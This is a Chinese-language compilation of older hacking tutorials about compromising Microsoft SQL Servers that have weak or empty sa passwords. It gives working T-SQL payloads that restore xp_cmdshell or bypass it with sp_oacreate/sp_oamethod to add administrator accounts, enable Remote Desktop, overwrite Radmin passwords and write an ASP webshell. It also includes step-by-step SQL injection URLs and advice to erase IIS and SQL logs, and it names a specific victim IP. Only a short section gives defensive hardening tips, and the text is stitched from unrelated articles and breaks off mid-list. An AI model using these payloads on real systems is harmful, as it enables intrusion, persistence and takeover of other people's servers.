SQL恢复XP_CMDSHLL 以及XPLOG70.DLL被删 直接用SQL连接器开启3389

原创 2007年09月13日 20:04:00
SQL恢复XP_CMDSHLL 以及XPLOG70.DLL被删 直接用SQL连接器开启3389
用SQL连接器恢复XP_CMDSHLLE的命令
(1)SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc 'xp_cmdshell'
(3)MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
修改sa密码 sp_password @old = null, @new = 'complexpwd', @loginame ='sa'
这个很简单,自己堵后门用:)
二,在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的
实例过程:
连接到主机:202.xxx.xxx.xxx //大家可以用sql连接器连上有空口令的sql肉机
命令:xp_cmdshell "type c:/boot.ini" // 输入命令,看系统,server版的才能 开3389
执行成功,结果:
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)/WINNT
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)/WINNT="Microsoft Windows 2000 Server" /fastdetect
multi(0)disk(0)rdisk(0)partition(1)/WINNT="Microsoft Windows 2000 Server" /fastdetect

命令:xp_cmdshell "echo [Components] > c:/duguxike" //在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的
执行成功,结果:

命令:xp_cmdshell "echo TsEnable = on >> c:/duguxike" //追加写入
执行成功,结果:

命令:xp_cmdshell "type c:/duguxike" //看看duguxike里的内容是否正确
执行成功,结果:
[Components]
TsEnable = on
TsEnable = on

命令:xp_cmdshell "sysocmgr /i:c:/winnt/inf/sysoc.inf /u:c:/duguxike /q" //开3389,成功的话过会肉机会重启!!
执行成功,结果:
GetLocalManagedApplications returned (2)
之后就看大家的了,不过要记得册除新建的duguxike文件哦!!

三不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user gchn aaa /add'--
_content>如果XPCMDSHLL被删了第一条恢复
第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用(本人WIN2000下测试成功)
第三条XPLOG70.DLL被删除的情况下直接添加帐号前提对方了开了3389 139 23
才好用
但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限
哪为高人来指点一下!


当xplog70.dll文件被删除后
  起初,笔者也是大叹可惜的,因为如果只是xp_cmdshell被删除还好说,可是如果连xplog70.dll也被删除了,这该如何是好?
狂查资料!
晕啊,怎么到处都没有说的呢?难道没有解决办法吗?
于是,只好自己想办法。可是从那里下手呢?想来想去,还是从sql server本身着手看看。
打开查询分析器。

用你捕获的sa弱口令进入目标机器,当然我们的最终目标是操纵主机而不仅仅是操纵人家的数据库哦 :)
省略思考过程若干。。。。。。(脑细胞累死一大批)
突然,嘎嘎。。。怎么有这么两个存储过程啊sp_oacreate和sp_oamethod,再查查他们的作用和语法,嘿嘿。。。皇天不负苦心人啊。
交待大家怎么用好了,具体的描述,我感觉自己写不出来,没法子,从小讨厌作文。
只要你连接上目标机,并发现这两个存储过程没删除(99%都没删除,看来管理员们都不了解这些存储过程的强大功能啊),那么利用您的查询分析器所有的sa弱口令机器都可以控制咯!
比如我给他添加一个用户!
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/winnt/system32/cmd.exe /c net user gchn aaa /add'--

呵呵,如果您发现,cmd.exe都被删掉了,试试command命令,如果这也被删掉了,那这个管理员太变态了。
ok,郑重声明,如果您用来搞破坏,那后果自负哦。同时也不是我希望的,我只是希望大家把平时一点心得拿出来交流,那我们的水平会提高很快啊。

最后,欢迎各位大虾批评指正

绕过Xplog70.dll玩

深夜了,好友"如影随行"突然发来消息,说他一台配置非常好的3389肉鸡飞了。以前他是从WEB页面注入入手,然后直接用Xp_cmdshell添加系统用户搞定的,可晚上用3389登陆时突然发现添加的用户不在了,安装的后门都被清理干净,连Xp_cmdshell也执行不了。朋友叫我帮忙看看,这样和管理员的直接攻防较量我还没尝试过,所以也就答应了!  因为是数据库是SA权限连接的,我首先想到的是利用下面的命令: exec master.dbo.sp_addlogin renwoxin 我的目的是添加数据库用户"renwoxin",然后将将其加入"Sysadmin"组: Exec master.dbo.sp_addsrvrolemember renwoxin,sysadmin 然后就可以用祭出我们的"屠库宝刀"--SQL查询分析器了。开始我还抱着一丝侥幸,希望可以通过: sp_addextendedproc

Xp_cmdshell,@dllname='Xplog70.dll' 添加Xp_cmdshell扩展过程。可惜SQL输出如下:数据库中已存在名为Xp_cmdshell 的对象。为了确认Xp_cmdshell是否被删除我提交如下语句: select count(*) from master.dbo.sysobjects where xtype='X' and name=Xp_cmdshell 返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。我决定用臭要饭的写的GetWebShell来写入ASP木马。工具使用很简单,以往的黑防也有介绍过。我使用后一会儿就提示写入成功了,但等我高高兴兴的去访问这个路径时,却提示"找不到网页",郁闷!  百思不得其解,拿出NBSI2,利用Tree list工具列出WEB路径下的文件,发现上传的木马"安详"地躺在那儿,可为什么不能访问呢(我现在都还不知道***,哪位高人知道希望能指点一下),而且错误提示居然是"找不到文件"?!我打算放弃了,可这么好的肉鸡就这么飞了,实在心有不甘!到百度一通狂搜,终于找到一篇文章,文中提出了一种方法,用SQL查询分析器写入如下指令: Declare @o int, @f int, @t int, @ret int ,@a int exec sp_oacreate 'scripting.filesystemobject', @o out --这两行代码是建立SQL的文本对象 exec sp_oamethod @o, 'createtextfile', @f out,'c:/docume~1/alluse~1/「开始」菜单/程序/启动/a.vbs', 1 --在启动菜单里写入a.vbs,当然这里只支持中文 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wshshell=createobject("wscript.shell")' --单引号里的都是a.vbs的内容,要一行一行的写,下同。 exec @ret = sp_oamethod @f, 'writeline', NULL,'a=wshshell.run ("cmd.exe /c net user user1 123 /add",0)' exec @ret = sp_oamethod @f, 'writeline', NULL,'b=wshshell.run ("cmd.exe /c net localgroup administrators user1 /add",0)' --a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeline方法,突然灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出"SQL Server联机丛书",其中对Sp_OAMethod描述如下: sp_OAMethod 调用 OLE 对象的方法。语法 sp_OAMethod objecttoken, ????methodname ????[, returnvalue OUTPUT] ????[ , [ @parametername = ] parameter [ OUTPUT ] ????[...n]] 参数 objecttoken 是先前用 sp_OACreate 创建的 OLE 对象令牌。 methodname 是要调用的 OLE 对象的方法名。用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗?于是构造如下语句: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net user renwoxin$ test /add','0','true' 小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户renwoxin$,密码为test。"0"和"true"是RUN方法的参数:"0"可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口,如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;"true"可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动程序后立即返回0(不是错误代码)。   上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员: DECLARE @cmd INT EXEC sp_oacreate 'wscript.shell',@cmd output EXEC sp_oamethod @cmd,'run',null,'cmd.exe /c net localgroup administrators renwoxin$ /add','0','true' 这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然被删除了。再检查一下,用GetWebShell提交的ASP木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束了,希望能尽快看

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]
思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句
Create TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
Insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

Drop TABLE MYTMP

注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。

突破xplog70.dll终极技巧

不过要知道MSSQLSERVER是与系统联系的非常紧密的,一般大家都知道XP_CMDSHELL这个存储过程可以执行DOS命令,但是还有个存储过程也可以执行DOS命令,知道的人就不多了,下面我就来简单的说一下:
sp_oacreate和sp_oamethod两个过程分别用来创建和执行脚本语言,简单的说,基本DOS能执行的命令,用脚本就能执行,换言之就是xp_cmdshell能执行的sp_oacreate+sp_oamethod同样能胜任。
好,说了这么多废话,我接下来还是给大家演示一下吧

需要的工具:
SQL查询分析器分离版(我的win2003不能用,555555,大家可以下载下来试试)
http://ww3.tty-1.net:808/newdown/show.php?id=303
或者找一台带SQL的3389肉鸡,这里我就不提供了^_^
上面两个都没条件使用的话可以下载致远SQL分析器,需要MicroSoft .net FrameWork 1.1的支持,如果是2003系统或已经装过的就直接用我压缩包的那个就行了,没有的话就去网络休闲庄下载完整版
http://ww3.tty-1.net:808/newdown/show.php?id=301
这个唯一一点不好的是无法辨认命令执行成功与否,不过一般按照我的步骤应该是没问题的
其他工具参照其他从SA到3389相关文章即可,接下来开工

这里我事先找好了一台sa空密码的肉鸡 218.242.112.241,这台机器我已经试验过了,我再给大家演示一边吧

连接成功
不过
C:/>DIR C:/
Cannot load the DLL xplog70.dll, or one of the DLLs it references. Reason: 126(?ò2?

看样子没办法照平常方法入侵了
我们先扫一下他的端口看看
呵呵,端口开的挺多
上面4999端口是我的radmin端口
也就是大家平时说的4899
接下来,我们拿出SQL查询分析器来
这里我就演示致远SQL分析器这个了

呵呵,连接成功
看到服务器开了3389,那我们加个NT帐号吧
用下列语句
,成功了,我们加了个hack帐号
为了大家能直观的看到,我用rad检查一下吧
看到了吧,加上去了
那我们把它加入管理员组
好,成了,我们拿3389连接器连接看看
呵呵,上去了吧
OK,破解即开了1433又开了3389的机器就是这么简单

好接下来我给大家演示怎么利用脚本抢别人的4899肉鸡,呵呵

这个4899肉鸡现在你不知道密码是无法登陆的,那我就去注册表修改密码
我把他改成123456
看以下脚本
我在他的系统盘生成一个hack123.reg的注册表文件
接下来就是写入注册表信息
好,写好了
现在我们导入
到如成功
删掉那个注册表文件
OK了,我们再用123456连接4899肉鸡看看
完毕

附加:

加NT帐号
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

修改RAD密码
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo Windows Registry Editor Version 5.00 > hack123.reg','0','true'

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters] >> hack123.reg','0','true'

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo "Parameter"=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'

declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'

突破xplog70.dll终极技巧(续谈)
原作者:不详 来 源:不详 发表日期: 4月14日 共有7位读者阅读过此文
________________________________________
前天做了个关于突破xplog70.dll的动画,昨天黑鹰发布了,呵呵,马上一堆小屁孩加我,要我帮他做肉鸡,晕哦!
这里再公布一下那些脚本吧,这年头还是脚本吃香啊,哈哈
加NT帐号
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net user hack hack /add','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'net localgroup administrators hack /add','0','true'

修改RAD密码
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo Windows Registry Editor Version 5.00 > hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo [HKEY_LOCAL_MACHINE/SYSTEM/RAdmin/v2.0/Server/Parameters] >> hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c echo 'Parameter'=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b >> hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'regedit /s hack123.reg','0','true'
declare @cmd INT
exec sp_oacreate 'wscript.shell',@cmd output
exec sp_oamethod @cmd,'run',null,'cmd.exe /c del hack123.reg /f /q','0','true'

rad的密码改成了123456,登上去后再用/pass:XXXXX来改就行了,抢肉鸡的感觉不错哦!

其实用OA的脚本可以突破的不只是这些,对于只开了1433端口的肉鸡也有办法突破,弄个上传不就行了,
呵呵,shell上面传东西的方法还是挺多的!




当SA遇到XP_CMDSHELL时
作者: 一道江河
有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了
怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能看明白,能看懂
众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令
但是那先网管也不是吃素的,都回把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限
才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmin dbcreator diskadmin processadmin
serveradmin setupadmin securityadmin bulkadmin 这8种 每一个都具有不同的权限,大家都因该可
以知道其中的sysadmin权限是最高的,也是我们想要的。。。
大家都知道在MSSQL中,SA的权限是至高无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁
闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是
让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在"利用目录"菜单
中打开"执行数据库命令" 填入我们要执行的命令:
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?
接着看,还有办法,我们直接在数据库命令执行窗写入:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'xplog70.dll'; select count(*) from
master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我
们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到
对方的c:/winnt/system32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:
Exec master.dbo.addextendedproc 'xp_cmdshell', 'c:/winnt/system32/xplog70.dll'
好了,接下来就是我们常用的命令 net user 和 net localgroup administrators
命令了,还有清楚IIS日记和MSSQL日记就OK了!
上面的方法是可以了但我们还可以饶过xp_cmdshell ,来执行系统命令,大家知道在MSSQL中可以通过两个
存储扩展来创建activex自动脚本,呵呵,大家想到了吧!是xp_oacreate和sp_oamethod 通过它们执行系
统命令的语句我们可以自己给他加上哦,代码如下:
declare @o int
exec sp_oacreate 'wscript.shell', @o out
exec sp_oamethod @o, 'run', NULL, 'net start telnet'
接下来呢就是通过FSO对服务器进行文件管理或者直接创建文件并写入数据,呵呵,可以直接写一个WEBSHE
LL到服务器上去哦!!!HOHO~~~~
declare @o int, @f int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'creatextifile', @f out, 'c:/inetpub/wwwroot/mad.asp', 1
exec @ ret = sp_oamethod @f, 'writeline', NULL, '<% set o =
server.createobject("wscript.shell": o.run("cmd.exe /c "&request.querystring("cmd") %>
上面的代码就在服务器c:/inetpub/wwwroot/mad.asp上创建了了只有两行的代码我们直接连上去就OK了
大家不防试试吧。下面我还是对大家入侵时做一先解释吧,希望大家能看明白,
举个例子现在咱们要入侵的网站是这个 www.***.com
第一还是踩点,找到入口,现在注入这么流行,还是注入吧,因为一般网站都是ASP+MSSQL结构来架设的假
如这个。www.***.com/script.asp?id=48
还是一样用, ; and 1=1 and 1=2判断一下,确定可以注入后,我们就可以利用这个漏洞拿到服务器和
数据库的一些相关信息。想看服务器打的补丁情况,我们提交:
www.***.com/script.asp?id=48 and 1=(select @@VERSION)
我想现在大部分服务器都打上SP4补丁了。我们看看其它的,看看他的数据库连接账号的权限,提交:
www.***.com/script.asp?id=48 and 1=(Select IS_SRVROLEMEMBER('sysadmin'))
如果返回正常,这证明当前连接的账号是服务器角色sysadmin权限了,看来连接账号多半是采用SA账号连
接的了,自己有好做的了,还是试一下。万一猜错了呢?提交:
www.***.com/script.asp?id=48 and 'sa'=(Select System_user
用来查看连接账号是不是用sa 连接的,如果IE返回正常。这证明了连接账号真的是SA,看来权限是高了哦
(如果要获得已登录用户的身份,则使用Transact-SQL 语句:Select SYSTEM_USER)
下面我们就利用MSSQL存储过程,得到WebShell,首先还是看看xp_cmdshell是否被管理员删除了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype =
'X' AND name = 'xp_cmdshell')
如果被删除了,NO PROBLEM 我们给他恢复一下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
试一下 看看xp_cmdshell是不是恢复过来了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype =
'X' AND name = 'xp_cmdshell')
如果没有返回内容。这证明,管理员把xplog70.dll这个动态链接库给改名了。要不给删除了。现在大家可
以用上面的方法试试了,到这里有耐心的话还可以继续啊。可以用CZY提到的方法试试。
不过还用到两个MSSQL存储过程
xp_regread 扩展存储过程和xp_regread Web 助手存储过程:
xp_regread是用来读取注册表信息的,我们通过这个存储过程来得到保存在注册表中Web绝对路径
sp_makewebtask在我们这里是用来得到WebShell的,其主要功能就是导出数据库中表的记录为文件,文件
名你可以自己指定。当然我们这里就指定为ASP脚本文件
CZY的文章已经写得很详细了。所以,我这里就只简单的提一下吧! 先创建一个表,建一字段,然后向这个
字段中加入木马的内容。然后,把内容通过xp_makewebtask存储过程导出成ASP脚本保存在Web绝对路径中
再次删除建的临时表 不知道的可要到网上找找哦!
不过还是先看看这两个存储过程是不是被删了。。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name=
'xp_regread')
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name=
'sp_makewebtask')
如果两个都返回正常的话,说明两个存储过程都没有删除 :
(大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册表中得到,位置如下:
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?首先:先创建
一个临时表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就
用读取注册表的方法,把返回的值保存在一变量中。然后向新建的表中加入记录(即变量的值)。这样,
路径就写入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert
into 临时表 (临时字段名) values(@result);--
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1) )
我们用CZY的方法继续提交:
www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));
这样我们就成功地建了一个名为ABCD的表,并且添加了类型是char,长度为255的字段名DACB。然后向表中
加数据:
www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/',
@result output insert into cyfd (DACB) values(@result);--
继续提交从注册表中读出Web绝对路径,再把路径插入到刚建的表中。然后报出WebShell的绝对路径
www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)
IE返回错误,我们得到Web绝对路径 例如:e:/Inetpub/wwwroot
还要删除刚才建的表 提交:
www.***.com/script.asp?id=48;drop table cyfd;--
接下来就好办多了,路径都知道了。得到WEBSHELL因该没问题了吧,得到WEBSHELL后,通过WEBSHELL上传
xplog70.dll传到E:/inetpub/wwwroot目录下 我们给他恢复下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell',
'e:/inetpub/wwwroot/xplog70.dll'
(恢复,支持绝对路径的恢复!
用IE来查看一下是不是已经恢复了。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype =
'X' AND name = 'xp_cmdshell')
如IE返回正常。说明已经恢复了!下面就建用户吧。。。。
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'
提升管理员
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd
/add'

好了到了这里就OK了。。如果对方有终端的话,就连接吧。,还有清除IIS日志,和MSSQL日志 闪人!~
还有一点就是把xp_cmdshell也给他删除掉,不要让网管发现了。HOHO~~~~
完..............(写了这么多可能有先看不明白..SORRY!!)



去除SA的xp_cmdshell权限
如果你不需要扩展存储过程xp_cmdshell请把它去掉。使用这个SQL语句:
use master
sp_dropextendedproc 'xp_cmdshell'
xp_cmdshell是进入操作系统的最佳捷径,是数据库留给操作系统的一个大后门。如果你需要这个存储过程,请用这个语句也可以恢复过来。
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

如果服务器存在SQL的SA空口令漏洞,探测结果会显示,参考[图3]。

解决方法:运行SQLSERVER管理工具,给SA帐号加上强壮密码,还要在SQL命令行执行:
"if exists (select * from dbo.sysobjects where id = object_id(N[dbo].[xp_cmdshell]
) and OBJECTPROPERTY(id, NIsExtendedProc) = 1) exec sp_dropextendedproc N[dbo]
.[xp_cmdshell] "
GO
或:
"use master
sp_dropextendedproc xp_cmdshell"
这样就算攻击者获得SA帐号密码远程连接后,也不能调用CMDSHELL了。

另外一个也是很常用的数据库MYSQL,默认安装后也存在ROOT空口令漏洞,如果你不补上的话,
INTERNET上任意远程主机都可以连接你服务器上的MYSQL数据库,任意编辑,修改,删除数据库
甚至可以通过它来提升权限,完全控制你的服务器。所以必须重视。
解决方法:在mysql>状态下输入:
grant select,insert,update,delete on *.* to root@"%" identified by "pass";
语句即可为ROOT设置口令。这样攻击者就不能远程连接本机数据库了。参考[图4]

如果你的服务器安装了PERL解析,很可能会存在CGI漏洞。
解决方法:这就需要打齐微软的最新补丁,在IIS里把CGI论坛的图片目录属性设置成(无)
即不运行任何教程和程序,这样可以最大限度的减少被攻击的风险。

恢复xp_cmdshell

[日期:2005-8-21 1:54:52] [提供者:] [字体:大 中 小]

先尝试恢复xp_cmdshell,sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll',
结果发现xpsql70.dll被删除。

然后写vbs文件到启动组里面:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out,
'c://docume~1//alluse~1//「开始」菜单//程序//启动//a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lintao lintao520 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lintao /add",0)'



恢复SA的xp_cmdshell权限(图)


前段时间在www.sandflee.net看到一篇如何去掉ms
sql的xp-cmdshell扩展存储过程,即使得到SA的密码也不能执行NET命令的文章,文中使用了这样一句命令来去掉xp-cmdshell扩展存储过程,如下:
if exists (select * from
dbo.sysobjects where id
= object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id,
N'IsExtendedProc') = 1)
exec sp_dropextendedproc
N'[dbo].[xp_cmdshell]'
执行以后,我用SqlExec.exe(强烈推荐)连接上,结果如下

显示错误,不能执行命令了。好象去掉xp_cmdshell,即使知道sa密码,也没用了?!不过既然可以删除,当然可以恢复,如果你的sa密码太简单,(sql
7.0通常是空密码,sql 2k 弱智密码)那你的爱机变肉鸡的日子,也为期不远了 *^_^*。
如何恢复喃,在SqlExec.exe的format里选着%s,在cmd里输入:sp_addextendedproc 'xp_cmdshell',
'xplog70.dll'

执行一下,没任何反映。(以上是用的sql 2k ,要是sql
7.0的话,要换成sp_addextendedproc 'xp_cmdshell',
'xpsql70.dll',没有测试,不知道对不对了?)
改变一下执行方式,用xp_cmdshell %s ,cmd里为:dir
c:/

呵~~,又可以了,好耍!再来,format里选%s,cmd里:sp_dropextendedproc
'xp_cmdshell'

在来执行命令看看,

又不能用了,出错了。

对SA权限的再突破 (对付xplog70.dll被删)
(2005-02-04 14:03)
来源:http://www.hackhome.com/2004/9-13/162627.html
黑客X档案第7期57页,青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。

  先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下:

  [开放端口]21/80/1433/3389 
[sql弱口令]sa(aaa)
[CGI漏洞]
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述]
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述]
/_vti_bin/shtml.dll [漏洞描述]
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述]
/_vti_bin/shtml.exe [漏洞描述]
